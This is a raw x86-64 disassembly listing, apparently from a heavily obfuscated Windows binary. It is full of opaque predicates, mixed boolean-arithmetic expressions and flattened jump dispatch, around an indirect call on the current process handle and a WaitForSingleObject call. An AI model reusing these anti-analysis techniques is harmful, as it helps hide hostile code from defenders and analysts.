and edx, 0xd77ee68d
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7ab63299
and ecx, 0x8549cd66
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x34cff906
and ecx, 0xcb3006f9
or ecx, ebx
xor ecx, 0x34cff906
xor edx, ecx
test edx, ecx
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, eax
xor dl, r10b
and dl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
xor cl, 1
and al, cl
or dl, al
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x1cd9aac7
mov edx, 0x31d3a375
cmovne ecx, edx
test bl, 1
mov ebx, 0x1cd9aac7
cmove ecx, ebx
test al, 1
jmp 0x14019f00b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xe993d974
and edx, ebx
not ebx
and ebx, 0x1c046177
and ecx, 0xe3fb9e88
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa1910800
xor ecx, 0x8004174
or ecx, 0x166c268b
mov edi, edx
not edi
mov esi, ecx
and esi, 0x546af35a
and ebx, 0xa9910824
or ebx, esi
or ecx, edi
and edi, 0x546af35a
and edx, 0xab950ca5
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x166c268b
and ecx, 0xe993d974
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x26a85623
and ecx, 0xd957a9dc
or ecx, edx
xor ecx, 0xd957a9dd
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x43000a08
and ecx, 0x10ed4010
or ecx, edx
mov edi, ecx
xor edi, 0x10280000
xor ecx, 0xb122a66
or ebx, 0x53ed4a18
mov edx, ebx
not edx
and ecx, 0xbd76a76
and edi, 0x50280008
or edi, ecx
and ebx, 0xbd76a76
and edx, 0xa4009581
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x497e0e4a
and edx, 0xb681f1b5
or edx, ecx
mov ecx, edx
xor ecx, 0x8504180c
xor edx, 0x1a024440
and edx, 0x7a6ae7e1
and ecx, 0x8595181e
or ecx, edx
mov edx, ecx
xor edx, 0x4010816
xor ecx, 0x6a022041
and ecx, 0xeb963049
and edx, 0x1469cfb6
or edx, ecx
xor edx, 0xeb963049
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
and dl, bl
mov eax, r8d
and al, cl
or al, dl
mov r9d, eax
xor r9b, bl
and r9b, al
xor bl, cl
not bl
and bl, cl
xor cl, r8b
and cl, r8b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, al
xor bl, 1
or bl, dl
mov ecx, ebx
xor bl, 1
and bl, r9b
xor r9b, 1
and cl, r9b
or bl, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x8af6ab23
mov edx, 0x861f028f
cmovne ecx, edx
test al, 1
mov eax, 0x8af6ab23
jmp 0x140197760
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r8d, ebx
not r8d
mov ecx, r8d
and ecx, 0xfbbd65d1
mov edx, ebx
and edx, 0x4429a2e
or edx, ecx
mov ecx, edx
xor ecx, 0x200
xor edx, 0x829165c1
mov eax, ebx
xor eax, 0x8291f7e1
and eax, ebx
or edx, 0x7d6e081e
mov esi, eax
not esi
mov edi, edx
and edi, 0x1325f07f
and ecx, 0x80900780
or ecx, edi
or edx, esi
and esi, 0x1325f07f
and eax, 0xecda0f80
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xec8714c0
and edx, 0x1378eb3f
or edx, eax
mov eax, edx
xor eax, 0x91e91cdf
xor edx, 0x6e16e320
and r8d, edx
and eax, ebx
or eax, r8d
xor edx, eax
test edx, eax
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xc6f4740
mov ebx, 0xf7117730
cmovne ecx, ebx
test al, al
mov eax, 0xc6f4740
cmove ecx, eax
test dl, dl
jmp 0x14019b002
mov eax, 0xbf07c3cc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
test eax, eax
sets byte [rbp - 0x19]
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x7df225f8
and ecx, edx
and edx, 0x820dda07
or edx, ebx
xor edx, 0x820dda07
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov edi, edx
mov ecx, edx
xor ecx, 0x411582d
and ecx, edx
not edx
and edx, 0x3c31de3c
and edi, 0xc3ce21c3
or edi, edx
mov esi, edi
xor esi, 0xc3ce21c3
mov edx, esi
and edx, 0x411582d
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa6f0606b
and ecx, 0x590f9f94
or ecx, edx
mov ebx, ecx
xor ebx, 0x100a0530
and esi, 1
xor edi, 0xc3ce21c2
or edi, esi
mov edx, edi
not edx
and edx, 0xd0bb6
and edi, 0xfff2f449
or edi, edx
mov edx, edi
xor edx, 0x32e21400
xor ecx, 0xa2e13847
xor edi, 0xd0bb6
mov esi, ecx
and esi, 0xcd14eacd
and ebx, 0x32eb1532
or ebx, esi
or ecx, edi
and edi, 0xcd14eacd
and edx, 0x32eb1532
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf7a11f03
and edx, ecx
and ecx, 0x85ee0fc
or ecx, ebx
mov ebx, ecx
xor ebx, 0x500070
xor ecx, 0xf7a11f03
mov edi, edx
not edi
mov esi, ecx
and esi, 0x182ef28d
and ebx, 0xe7d10d72
or ebx, esi
or ecx, edi
and edi, 0x182ef28d
and edx, 0xe7d10d72
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x71d1d3a8
and ecx, 0x8e2e2c57
or ecx, ebx
xor ecx, 0x71d1d3a8
xor edx, ecx
test edx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and r8b, bl
or r8b, al
mov eax, ebx
and al, dl
xor bl, dl
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
and al, r8b
mov ecx, r8d
xor cl, dl
or dl, r8b
xor r8b, 1
xor bl, 1
and bl, r8b
or bl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
test dl, 1
mov eax, 0x31f15b11
mov edx, 0x54a774ce
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0x31f15b11
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0xaa9c1ec6
and edi, 0x5563e138
or edi, esi
or ecx, ebx
and ebx, 0xaa9c1ec6
and edx, 0x5563e139
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc0301f00
and ecx, 0xaca0006
or ecx, edx
mov edi, ecx
xor edi, 0x80006
xor ecx, 0x520d901
or ebx, 0xcafa1f06
mov edx, ebx
not edx
and ecx, 0xfe2d901
and edi, 0xc0180606
or edi, ecx
and ebx, 0xfe2d901
and edx, 0x300520f8
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x3505e0f9
and edx, 0xcafa1f06
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x27a4d2d2
and edx, 0xd85b2d2d
or edx, ecx
xor edx, 0xd85b2d2d
cmp edx, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
xor bl, al
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
xor cl, al
mov eax, ecx
not al
and bl, dl
and al, cl
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
xor al, 1
mov r8d, ecx
xor r8b, al
or al, cl
xor al, 1
or al, r8b
xor al, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x3d50f722
mov ebx, 0x417accaf
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
test dl, 1
mov eax, 0x3d50f722
jmp 0x1401a26bd
mov eax, 0x25d62647
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x50c699f9
and ebx, edx
not edx
mov edi, edx
and edi, 0x40449809
and ecx, 0x108201f0
or ecx, edi
mov edi, ecx
xor edi, 0x10800150
xor ecx, 0xef7dfe0f
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x2a1f4cac
and edi, 0x50c09151
or edi, eax
or ecx, esi
and esi, 0x2a1f4cac
and ebx, 0xd5e0b353
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x561d0342
and ecx, 0xa9e2fcbd
or ecx, eax
mov eax, ecx
xor eax, 0x49006005
xor ecx, 0xc292a0
and ecx, 0xb0e697e0
and eax, 0x4f19681f
or eax, ecx
xor eax, 0x4f19681f
mov ecx, eax
and ecx, edx
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ecx
or dl, al
and al, bl
xor bl, r9b
xor dl, 1
or dl, bl
and cl, r9b
or cl, al
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xdfc99931
mov edx, 0xee22d8dd
jmp 0x14019a4de
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, 0x8af6ab23
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x4a12b5ab
and ebx, 0xb5ed4a54
or ebx, esi
or ecx, edi
and edi, 0x4a12b5ab
and edx, 0xb5ed4a54
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0x5d2fef47
and edx, ecx
not ecx
and ecx, 0x136161df
and ebx, 0xec9e9e20
or ebx, ecx
mov ecx, ebx
xor ecx, 0x11216147
or ecx, 0xa2d010b8
mov edi, ecx
not edi
mov esi, edx
not esi
mov eax, ecx
and eax, 0x77ede594
and edi, 0x8020a43
or edi, eax
or ecx, esi
and esi, 0x77ede594
and edx, 0x88121a6b
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xa2d010b9
and ecx, 0x5d2fef46
or ecx, eax
mov eax, ebx
and eax, 1
xor ebx, 0xec9e9e21
or ebx, eax
mov eax, ebx
not eax
mov edx, ecx
not edx
mov edi, edx
and edi, 0x2e26b75b
and ecx, 0xd1d948a4
or ecx, edi
or edx, ebx
and ebx, 0x2e26b75b
and eax, 0xd1d948a4
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x28865284
mov ecx, edx
and ecx, 0xd1480021
or ecx, eax
xor ecx, 0xd1480021
and edx, 0x631ad5a
or edx, ecx
mov eax, edx
not eax
and eax, 0x671bf9a
and edx, 0xf98e4065
or edx, eax
mov eax, edx
xor eax, 0x1200
xor edx, 0xffbfed3f
mov ecx, edx
and ecx, 0xaec5e5f8
and eax, 0x513a1a07
or eax, ecx
xor eax, 0x513a1a07
or eax, edx
cmp eax, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ecx
or dl, al
and al, bl
xor bl, r9b
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
and cl, r9b
or cl, al
xor cl, 1
mov ebx, r8d
and bl, dl
mov eax, ebx
xor al, 1
xor bl, r8b
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x44bde4b2
mov ebx, 0x5018658b
cmovne ecx, ebx
test al, 1
cmovne ecx, ebx
not dl
test dl, 1
mov eax, 0x44bde4b2
jmp 0x1401a26bd
mov eax, 0x86ccbee1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov ecx, ebx
or ecx, 0x1ae707d4
mov edi, ecx
not edi
mov edx, ebx
xor edx, 0xe518f82b
and edx, ebx
mov eax, edx
not eax
mov esi, ecx
and esi, 0x824fee35
and edi, 0x6510100a
or edi, esi
or ecx, eax
and eax, 0x824fee35
and edx, 0x7db011ca
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1ae707d5
and ecx, 0xe518f82a
or ecx, eax
mov eax, ecx
not eax
and r9d, 0x7854c13
and ebx, 0xf87ab3ec
or ebx, r9d
mov edx, ebx
xor edx, 0x9018026c
xor ebx, 0x7854c13
mov edi, ecx
and edi, 0x6ce7b581
and eax, 0x93184a7e
or eax, edi
or ecx, ebx
and ebx, 0x6ce7b581
and edx, 0x93184a7e
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x112ccd56
and ecx, 0xeed332a9
or ecx, eax
xor ecx, 0xeed332a9
setne cl
sete r10b
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl al
xor cl, r10b
and cl, r10b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
xor bl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, r9d
xor cl, r10b
and cl, r9b
or r9b, dl
xor dl, 1
or dl, al
xor dl, 1
xor r9b, 1
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
xor al, r10b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, r9d
xor dl, al
and dl, r9b
and al, r9b
xor r9b, 1
and r9b, cl
or al, r9b
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xdc11ba47
mov ebx, 0xe0d78121
cmovne eax, ebx
test dl, 1
mov edx, 0xdc11ba47
cmove eax, edx
test cl, 1
jmp 0x14019e24f
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x227f3328
mov edi, ecx
and edi, 0xdd80ccd6
or edi, ebx
xor edi, 0xdd80ccd6
mov ebx, ecx
and ebx, 1
or ebx, edi
and edx, 0xb606b304
and ecx, 0x49f94cfb
or ecx, edx
mov edx, ecx
xor edx, 0x1390418
mov edi, ebx
not edi
mov esi, edi
and esi, 0xeec4c8e7
and ebx, 0x113b3718
or ebx, esi
xor ecx, 0xa6048004
and ecx, 0xeec4c8e7
and edx, 0x113b3718
or edx, ecx
xor edx, ebx
xor edi, edx
test edi, edx
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
xor dl, 1
or dl, bl
and cl, bl
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x18c3b11b
mov ebx, 0x78380115
cmovne ecx, ebx
test al, al
cmovne ecx, ebx
not dl
test dl, 1
mov eax, 0x18c3b11b
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xca595f65
and ecx, 0x35a6a09a
or ecx, edx
mov edx, ecx
xor edx, 0x35a6a09a
mov ebx, ecx
xor ebx, 0xc2090440
and ebx, 0xe20d2458
xor ecx, 0xa0b8ae8
and ecx, edx
mov edi, edx
and edi, 0x1df2dba7
or edi, ebx
mov edx, edi
xor edx, 0x1df2dba7
xor edi, 0x420d2448
mov ebx, edx
and ebx, 0x3fad2a72
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x26b54fbe
and ecx, 0xd94ab041
or ecx, ebx
xor ecx, 0xe6e79a32
and edi, 0x425f26ea
mov ebx, edx
and ebx, 0xbda0d915
or ebx, edi
xor ebx, 0x425f26eb
and edx, 1
or edx, ebx
not edx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
mov ebx, edx
xor ebx, 0xaaf385cd
and ebx, edx
not edx
and edx, 0x95affd97
and ecx, 0x6a500268
or ecx, edx
mov edx, ecx
xor edx, 0x500048
xor ecx, 0x80a38585
or ecx, 0x550c7a32
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x2f26ab37
and edx, 0x80d104c8
or edx, esi
or ecx, edi
and edi, 0x2f26ab37
and ebx, 0xd0d954c8
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x692ad901
and ecx, 0x96d526fe
or ecx, edx
mov edx, ecx
xor edx, 0x1c242201
xor ecx, 0x814910cc
and ecx, 0xa14b91fe
and edx, 0x5eb46e01
or edx, ecx
xor edx, 0x5eb46e01
cmp edx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor dl, bl
and dl, bl
xor cl, bl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x1f2c0c16
mov ebx, 0x4987c369
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x1f2c0c16
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xfffffffe
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
mov esi, ecx
and esi, 0xfd5bb701
and edi, 0x2a448fe
or edi, esi
or ecx, ebx
and ebx, 0xfd5bb701
and edx, 0x2a448fe
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x721e8c6f
and ecx, 0x8de17390
or ecx, edx
xor ecx, 0x8de17390
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
and bl, r8b
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xec22deae
mov ebx, 0x3df49584
cmovne eax, ebx
test dl, dl
mov edx, 0xec22deae
jmp 0x1401a0e85
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 1
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x6c558c63
and edi, 0x93aa739c
or edi, esi
or edx, eax
and eax, 0x6c558c63
and ecx, 0x93aa739c
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x4f34b1b9
and eax, 0xb0cb4e46
or eax, ecx
or edx, ebx
and ebx, 0x4f34b1b9
and r9d, 0xb0cb4e46
or r9d, ebx
xor r9d, eax
not edx
or edx, r9d
cmp edx, 0xffffffff
sete r10b
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov eax, ecx
xor al, bl
and al, cl
mov ecx, eax
not cl
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor cl, r9b
mov r8d, ecx
xor r8b, 1
mov edx, ebx
and dl, r10b
xor bl, r10b
or dl, bl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, r8b
or r8b, dl
and dl, cl
or dl, al
mov eax, r8d
xor al, dl
test al, 1
mov eax, 0x5942a788
mov ecx, 0xc9c0cc12
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x5942a788
cmovne ecx, edx
test r8b, 1
jmp 0x14019f4d9
mov ecx, dword [0x1402656c8]
mov esi, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe50b2bcd
and edx, 0x1af4d432
or edx, ecx
mov ecx, edx
xor ecx, 0x1ac49432
xor edx, 0x6403020d
and edx, 0x6433420d
and ecx, 0x9bccbdf2
or ecx, edx
mov ebx, ecx
xor ebx, 0x6433420d
xor ecx, 0x81c01830
and ecx, 0xe5e05a31
mov edx, ebx
and edx, 0x1a1fa5ce
or edx, ecx
mov ecx, edx
xor ecx, 0x1a1fa5ce
xor edx, 0xc0c05821
mov edi, ecx
and edi, 0x5d18acff
and ebx, 0xa2e75300
or ebx, edi
mov edi, ebx
not edi
and edi, 0xa2e75301
and ebx, 0x5d18acfe
or ebx, edi
and edx, 0xd8c3fc6d
mov edi, ecx
and edi, 0x273c0392
or edi, edx
xor edi, 0xd8c3fc6c
and ecx, 1
or ecx, edi
mov edx, ecx
not edx
and edx, 0x5ccca366
and ecx, 0xa3335c99
or ecx, edx
xor ecx, 0xa3335c99
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1d315645
and ecx, 0xe2cea9ba
or ecx, edx
mov edx, ecx
not edx
and edx, 0x423af5a1
and ecx, 0xbdc50a5e
or ecx, edx
xor ecx, 0xa0f45c1b
setne r8b
sete bl
cmp esi, 0xa
setl r9b
cmp esi, 9
setg dl
mov eax, edx
xor al, bl
and bl, dl
and r9b, r8b
or r9b, bl
and al, dl
xor dl, r8b
mov ebx, eax
xor bl, 1
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor bl, r9b
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x6c91d902
mov edx, 0xcd84b8c8
cmovne ecx, edx
test al, 1
mov eax, 0x6c91d902
cmovne eax, ecx
test bl, 1
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xa5173c93
and ecx, 0x5ae8c36c
or ecx, edx
mov edx, ecx
not edx
and edx, 0x56c5c18a
and ecx, 0xa93a3e75
or ecx, edx
mov edx, ecx
xor edx, 0x500a6
mov ebx, ecx
xor ebx, 0xf3d2fd19
mov edi, ecx
xor edi, 0xd18558a7
and edi, ebx
and edx, 0x2257a5be
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x2257a5bf
and edx, 0xdda85a40
or edx, edi
and ebx, 1
xor ecx, 0xf3d2fd18
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
mov ebx, ecx
xor ebx, 0x4679a2a7
and ebx, ecx
not ecx
and ecx, 0x44318221
and edx, 0x2482086
or edx, ecx
mov ecx, edx
xor ecx, 0x80004
xor edx, 0xfdb7df79
mov edi, ebx
not edi
mov esi, edx
and esi, 0xa3626ba2
and ecx, 0x44198005
or ecx, esi
or edx, edi
and edi, 0xa3626ba2
and ebx, 0x5c9d945d
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x687f9ad4
and edx, 0x9780652b
or edx, ecx
mov ecx, edx
xor ecx, 0xd0f1c304
xor edx, 0x22043822
and ecx, 0xdcf3c355
and edx, 0x230c3caa
or edx, ecx
mov ecx, edx
xor ecx, 0x8e14000
xor edx, 0x23003408
and edx, 0xf712b75d
and ecx, 0x8ed48a2
or ecx, edx
xor ecx, 0x8ed48a2
setne r8b
sete r10b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r10b
mov r9d, ecx
xor r9b, 1
mov edx, ebx
xor bl, r10b
and r10b, al
and dl, r8b
or dl, r10b
or al, r8b
xor al, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
and cl, r9b
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
xor cl, dl
xor al, 1
or dl, r9b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xa7ecce0c
mov ebx, 0xee5d790e
cmovne eax, ebx
test dl, 1
mov edx, 0xa7ecce0c
jmp 0x1401a0e85
mov eax, 0xa420e19a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xa5735b6
mov edi, ecx
and edi, 0xf5a8ca48
or edi, edx
xor edi, 0xf5a8ca48
mov edx, ecx
and edx, 1
or edx, edi
mov edi, edx
not edi
and ebx, 0x7de911b2
and ecx, 0x8216ee4d
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4a208
xor ecx, 0x7de911b2
mov esi, edx
and esi, 0xe23b4d75
and edi, 0x1dc4b28a
or edi, esi
or edx, ecx
and ecx, 0xe23b4d75
and ebx, 0x1dc4b28a
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov ecx, ebx
xor cl, 1
and al, cl
xor cl, al
test bl, bl
mov edx, 0xf466911f
mov ebx, 0xd65ca5b6
cmovne edx, ebx
test al, al
mov eax, 0xf466911f
cmove edx, eax
jmp 0x14019bd88
mov eax, 0xa93e1bf7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x918004c
mov ebx, edi
and ebx, 0x2640f421
or ebx, ecx
xor ebx, 0x2640f421
mov ecx, edi
and ecx, 0xd0a70b92
or ecx, ebx
